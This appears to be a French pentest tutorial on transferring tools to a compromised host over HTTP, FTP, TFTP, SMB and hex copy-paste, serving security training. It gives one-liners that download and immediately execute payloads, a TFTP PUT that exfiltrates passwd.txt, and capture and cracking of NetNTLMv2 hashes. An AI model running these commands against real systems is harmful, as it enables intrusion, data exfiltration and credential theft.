La problématique du transfert en pentest
Lors d'un pentest, après une compromission
réussie, la première tâche concerne l'upload
d'outils pour commencer la phase de post-exploitation. L'auditeur cherche à augmenter ses privilèges ou effectuer un mouvement
latéral (pivoting).
Une exploitation peut
résulter en la simple possession d'un shell avec des droits restreints et parfois un environnement austère. Dans ce cas, il devient
nécessaire de pouvoir installer quelques outils indispensables pour consolider
l'accès distant.
Transfert en HTTP
Le téléchargement de
fichiers via HTTP permet de contourner de nombreuses règles de filtrage et reste
malgré tout assez simple. Cela peut être réalisé en ligne de commande.
Démarrage du serveur Web
Habituellement, depuis
un PC Linux avec Kali ou Backbox, le plus simple est d'utiliser un serveur Web
en python. Pour des besoins plus spécifiques, apache (ou un autre serveur Web) peut devenir
incontournable.
Pour servir des
fichiers avec Apache, il faut les copier dans le répertoire WEBROOT /var/www/html puis activer le service Apache. Apache est
installé par défaut sur de nombreux systèmes UNIX :
$ sudo cp prog.exe /var/www/html
$ sudo service apache2 start
L'autre option consiste à simplement démarrer un serveur Web python directement
dans le répertoire contenant les fichiers à uploader. Cela nécessite une
seule ligne de commande grâce au module SimpleHTTPServer de Python:
$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Par défaut, il sert
sur le port 8000, mais le port peut être spécifié en argument.
Téléchargement des fichiers avec des outils standards
Il faut
simplement accéder à l'URL http://<server>/<filename> avec un navigateur ou un
utilitaire de download en HTTP (wget, curl, ...).
$ wget http: //kali/prog.exe
$ curl http://kali/prog.exe > p.exe
$ file p.exe
p.exe: PE32+
executable (console) x86-64, for MS Windows
Téléchargement en HTTP avec bash
Lorsque le shell bash
est compilé avec le support du pseudo périphérique /dev/tcp, il est possible de faire des transfert HTTP depuis le shell en ouvrant un
descripteur de fichier en lecture/écriture :
Association du
descripteur 3 à l'URL http://192.168.1.28
$ exec 3<>/dev/tcp/192.168.1.28/80
GET http://192.168.1.28/pgm
$ echo -e "GET /pgm HTTP/1.1\r\nhost:
http://pentest\r\nConnection: close\r\n\r\n" >&3
Ecriture
sur du binaire dans un fichier :
$ cat <&3 > pgm
Suppression du header HTTP
$ hd -n 16 pgm
00000000 48
54 54 50 2f 31 2e 30 20 32 30 30 20 4f 4b 0d |HTTP/1.0 200 OK.|
00000010
$ hd -s 202 -n 16 pgm
000000ca 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
|.ELF............|
000000da
$ tail -c +203 pgm > pgm.elf
$ file pgm.elf
pgm.elf: ELF 64-bit LSB
executable, x86-64, version 1 (SYSV), dynamically linked, interpreter
/lib64/ld-linux-x86-64.
so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=8cccb424c52c7c54cc8e2da4df3505c98a0ffb0b, not stripped
$ chmod +x pgm.elf
&& ./pgm.elf
You have been
hacked!
Téléchargement en HTTP avec powershell
Avec un
accès en ligne de commande (via un shell), le téléchargement
via HTTP est un peu plus délicat sous Windows car les outils UNIX comme curl ou wget ne sont quasiment jamais présents. Dans ce cas, la meilleure option
est d'utiliser l'objet WebClient depuis le shell PowerShell :
C:\>
powershell -c "(new-object
System.Net.WebClient).DownloadFile('http://192.168.1.50/prog.exe','C:\Users\user\Desktop\prog.exe')"
Transfert en FTP
Une autre méthode pour
transférer des fichiers est d'utiliser le protocole FTP. Windows dispose d'un
client FTP par défaut.
Cette méthode devrait presque toujours fonctionner sous réserve qu'aucune
politique de filtrage ne l'empêche.
Démarrage du serveur FTP
Il n'est pas
nécessaire d'installer un serveur FTP. Un simple serveur FTP en python ou
bien Metasploit suffit.
FTP en Python
La bibliothèque pytftpd à l'image du serveur Web ci-dessus permet
d'exécuter un serveur FTP en une seule ligne de commande. Il faut au préalable
installer la librairie :
$ sudo apt-get install python-pyftpdlib
Il faut lancer le serveur FTP depuis le répertoire contenant les fichiers. Par
défaut, le port est 2121 avec une authentification anonyme. Pour écouter sur le
port standard il faut utiliser l'argument -p 21 :
$ sudo python -m
pyftpdlib -p 21
[I 17-07-07 10:20:47] >>> starting FTP server on
0.0.0.0:21, pid=22054 <<<
[I 17-07-07 10:20:47] poller: <class 'pyftpdlib.ioloop.Epoll'>
[I 17-07-07 10:20:47] masquerade (NAT) address: None
[I 17-07-07 10:20:47] passive ports: None
[I 17-07-07 10:20:47] use sendfile(2): True
L'avantage de FTP est la
possibilité d'exfiltration. Les fichiers peuvent être transférés dans les deux
sens avec l'argument (-w). L'inconvénient est que le
client ftp de Windows ne supporte pas le mode passif, ce qui ne permet pas de
l'utiliser lorsqu'il y a de la NAT entre le client et le serveur.
FTP avec Metasploit
Il existe également un
serveur FTP auxiliaire intégré à Metasploit qui est facile à
déployer et à configurer. Il est situé dans auxiliary/server/ftp. Il faut positionner la variable FTPROOT sur
le répertoire contenant les fichiers :
$ sudo msfconsole
msf> use auxiliary/server/ftp
msf
auxiliary(ftp) > set FTPROOT /tmp
FTPROOT =>
/tmp
msf
auxiliary(ftp) > exploit
[*] Auxiliary
module execution completed
[*] Server
started.
Le serveur est lancé en
arrière-plan. Pour l'arrêter, il faut utiliser la commande jobs avec l’identifiant en argument
du flag -k.
msf
auxiliary(ftp) > jobs
msf
auxiliary(ftp) > jobs –k <id>
Client FTP
Les clients
disponibles sous UNIX sont nombreux (wget, curl, ...) et sont principalement les mêmes que
ceux utilisés pour un transfert HTTP. Seul le nom du protocole change.
$ wget ftp://kali/prog.exe
$ curl ftp://kali/prog.exe -o p.exe
Dans le cas où
l'exploit consiste en une injection de commande, l'implémentation du FTP de Windows peut prendre un script de
commandes pour établir une connexion anonyme directement à partir de la ligne de
commande en spécifiant les arguments -A -s <cmdfile>. Il faut donc construire le fichier de commande FTP, invoquer le client FTP puis l’exécutable uploadé en une seule commande.
Voici un exemple avec
en rouge le résultat de l'exécution de prog.exe :
C:> echo open
192.168.1.28 > ftp.cmd & echo binary >> ftp.cmd & echo
get prog.exe >> ftp.cmd & echo quit >> ftp.cmd & ftp.exe -A
-s:ftp.cmd & prog.exe
ftp> open
192.168.1.28
Connecté à
192.168.1.28.
220 pyftpdlib
1.4.0 ready.
331 Username ok,
send password.
230 Login
successful.
Ouverture de session anonyme en tant que User@LAB-W7
ftp> binary
200 Type set to:
Binary.
ftp> get
prog.exe
200 Active data
connection established.
125 Data
connection already open. Transfer starting.
226 Transfer complete.
ftp : 384685 octets reçus en 0,00 secondes à 384685000,00 Ko/s.
ftp> quit
221 Goodbye.
Hello
world!
Exemple
avec le client ftp sou Linux
$ echo -e "quote USER
anonymous\nquote PASS password\nbinary\nget prog.exe\nquit\n" > ftp.cmd
&
& ftp -i -n 192.168.1.50 < ftp.cmd && chmod +x prog.exe
&& ./prog.exe
Hello world!
Certain client Windows
ne possède pas le commutateur -A (anonynous),
la syntaxe requiert une identification anonyme :
C:\> echo open 192.168.1.28 > ftp.cmd & echo anonymous >> ftp.cmd & echo pass >> ftp.cmd & echo binary >>
ftp.cmd & echo get prog.exe >> ftp.cmd & echo quit >> ftp.cmd
& ftp.exe -s:ftp.cmd & prog.exe
Transfert en TFTP
Le protocole TFTP
offre une alternative lorsque tftp est
installé sur le système. Auparavant, il était installé par défaut dans Windows
XP, mais il doit maintenant être activé manuellement sur les versions récentes de Windows. Si le système Windows possède un client tftp cela permet d’uploader ou d'exfiltrer des fichiers en une seule commande.
Démarrage du serveur TFTP
Kali est livré avec le
serveur TFTP atftpd, qui peut être démarré
avec la commande :
$ service
atftpd start
TFTP en Python
Un serveur TFTP en
python peut être démarré avec :
$ sudo apt-get
install python-tftpy
$ sudo python TFTPSimpleServer.py /tmp 69
[*] Starting TFTP listen on
port 69 /tmp
Code source de TFTPSimpleServer.py
$ cat TFTPSimpleServer.py
#!/usr/bin/env python
import tftpy
import sys
usage = "Usage: %s <rootdir> <port>\n\tdefault
port 69 and rootdir \'/tmp\'" % (sys.argv[0])
port = 69
rootdir = "/tmp"
host = "0.0.0.0"
def tftpd(host, port, rootdir):
try:
print "[*] Starting
TFTP listen on port %d %s" % (port, rootdir)
server =
tftpy.TftpServer(rootdir)
server.listen(host,
port)
except Exception, e:
print
"[-] TFTPD failed on %d %s " % (port, rootdir)
if len(sys.argv)
== 3:
port
= int(sys.argv[2])
if len(sys.argv)
>= 2:
rootdir
= sys.argv[1]
if
sys.argv[1] == "-h" or sys.argv[1] == "--help":
sys.exit(usage)
tftpd(host, port, rootdir)
TFTP avec Metasploit
Metasploit possède un
module serveur TFTP dans auxiliary/server/tftp. Il faut définir les options du module avec la variable TFTPROOT qui détermine le
répertoire.
$ sudo msfconsole
msf> use auxiliary/server/tftp
msf auxiliary(tftp) > set TFTPROOT
/tmp
TFTPROOT =>
/tmp
msf auxiliary(tftp) > exploit
[*] Auxiliary module execution completed
[*] Starting TFTP server on 0.0.0.0:69…
[*] Uploaded files will be saved in /tmp
Client TFTP
En supposant que le
client tftp est présent sur la cible
Windows ou Linux, il est possible de télécharger un fichier sur la cible. TFTP
ne nécessite aucune authentification, il suffit simplement d'utiliser
l'indicateur -i et l'action GET.
C: \> tftp -i
192.168.1.28 GET prog.exe
Pour exfiltrer les fichiers
via TFTP il faut utiliser l'action PUT.
C: \> tftp -i
192.168.1.28 PUT passwd.txt
Busybox est un jeu de
commande POSIX pour système embarqué. Il est souvent compilé avec le support du
client tftp. Il est quasi systématique sur une palteforme embarquée disposant d'un noyau Linux. Il est même présent sur certaines distributions Linux standard. Pour un téléchargement, il faut utiliser les options get (-g) du
fichier remote (-r <file>) en spécifiant le serveur et le port :
$ busybox tftp -g
-r prog.exe 192.168.1.28 69
prog.exe 100% ***********************************************|
1 0:00:00 ETA
TFTP est un moyen
pratique et simple de transférer des fichiers car il ne nécessite pas
d'authentification et une simple commande en ligne est suffisante.
Transfert en SMB
Le protocole SMB est
le protocole à privilégier pour transférer un fichier vers une cible Windows.
SMB ne nécessite aucune commande spéciale car les commandes Windows supportent
nativement les noms de fichiers UNC. Ainsi, il suffit d'utiliser les commandes standard avec des chemins UNC et Windows gère le transfert de
fichier ou l'action. La cerise sur le gâteau est que Windows supporte l'exécution de fichiers comportant un chemin en notation UNC. En conséquence, il est possible de
télécharger et d'exécuter une charge utile avec une simple commande en ligne.
Démarrage d'un serveur SMB
Si SMB ou Samba est
installé sur le système du pentester, alors il est possible de l'utiliser, mais
l'intérêt est d'utiliser des serveurs plus légers et simples qui acceptent
n'importe qu'elle authentification et servent ou acceptent des fichiers.
Installation smbserver.py
Depuis github :
$ wget
https://github.com/CoreSecurity/impacket/releases/download/impacket_0_9_15/impacket-0.9.15.tar.gz
$ tar xvf impacket-0.9.15.tar.gz
$ cd impacket-0.9.15/
$ sudo python setup.py install
Pour lancer un serveur
SMB sur le port 445, il suffit de spécifier un nom de partage et le chemin du répertoire
à partager:
$ sudo smbserver.py <shareName> <sharePath>
$ sudo smbserver.py SERVER /tmp
Le script python ne requiert pas de configuration particulière, il écoute sur
le port TCP 445 et accepte toute authentification. De surcroît, il affiche les hashs en réponse au challenge pour tous
les systèmes se connectant.
Voici un test depuis
un système Windows :
C:\> net view
\\192.168.1.28
Ressources partagées de \\192.168.1.28
(null)
Nom du partage Type Utilisé comme
Commentaire
----------------------------------------------------------
SERVER Disque
La commande s'est terminée correctement.
Le partage SERVER peut
être utilisé avec les commandes usuelles dir, copy, etc. tout fonctionne
simplement :
C:\> dir
\\192.168.1.28\SERVER\disk
Le volume dans le lecteur \\192.168.1.28\SERVER n'a pas de
nom.
Le numéro de série du volume est ABCD-EFAA
Répertoire de \\192.168.1.28\SERVER\disk
07/07/2017 15:17 <REP>
.
07/07/2017
15:17 <REP> ..
07/07/2017
15:17 384 685 prog.exe
1 fichier(s)
401 069 octets
2 Rép(s) 15 207 469 056
octets libres
Exécution du
programme sur le serveur depuis le client Windows
C:\> \\192.168.1.28\SERVER\disk\prog.exe
Hello
world!
Copie d'un
fichier et exécution
C:\> copy \\192.168.1.28\SERVER\disk\prog.exe . &
prog.exe
1 fichier(s) copié(s).
Hello
world!
Cassage du hash NTLMv2
L'affichage produit
côté serveur (smbserver.py) affiche à chaque accès au partage le hash NetNTLMv2
pour l'utilisateur de Windows. Ces hashs peuvent être cassés avec John ou
Hashcat.
En copiant le
hash dans un fichier :
$ cat hash.txt
Pascal::LAB-W7:4141414141414141:aad022226b5746cbf314f7a29ae9dc06:010100000000000000c2611424f7d201f831165d0e88b42300000000010010007000730046004d006a00620043006a00020010006f00670053007900520071006f006400030010007000730046004d006a00620043006a00040010006f00670053007900520071006f0064000700080000c2611424f7d201060004000200000008003000300000000000000001000000002000003e4e2b90830b798c79fd20be87a68a0939207e76f09534261f3f0271ef92fd4a0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e0031002e0032003800000000000000000000000000
Puis on lance john avec le cryptosystème NTLMv2
$ john --format=netntlmv2 /tmp/hash.txt
Using default
input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pascal (Pascal)
1g 0:00:00:00 DONE 1/3 (2017-07-07 15:34) 2.083g/s 116.6p/s 116.6c/s 116.6C/s
W7pascal..pascal
Use the "--show" option to display all of the cracked passwords
reliably
Session completed
Transfert hexa par copier/coller
L'idée est de profiter
d'un shell obtenu sur la cible pour
télécharger un exécutable en le copiant dans un fichier via un format texte hexadécimal. Pour cela un éditeur de texte fait l'affaire. Ensuite, une
conversion en binaire avec application des droits d'exécution permet d'exécuter le programme
sur la cible.
Format ELF sour Linux
Conversion en hexa
d'un fichier ELF :
attacker$ xxd -p
pgm
7f454c4602010100000000000000000002003e0001000000300440000000
00004000000000000000d819000000000000000000004000380009004000
1f001c000600000005000000400000000000000040004000000000004000
[...]
80000000000000018000000000000000900000003000000000000000000
00000000000000000000b816000000000000120200000000000000000000
0000000001000000000000000000000000000000
Copier/coller dans un
éditeur sur la cible
victim$ vim hex
[...]<insert> + copier/coller
Conversion en binaire,
ajout droit d'exécution et lancement du programme :
victim$ xxd -r -p hex > bin && file bin
bin: ELF 64-bit
LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter
/lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=8cccb424c52c7c54cc8e2da4df3505c98a0ffb0b, not stripped
victim$ chmod +x bin
&& ./bin
You
have been hacked!
A faire
Documentation pour des
serveurs
- HTTPS en Python
- Serveur syslog
- ncat et netcat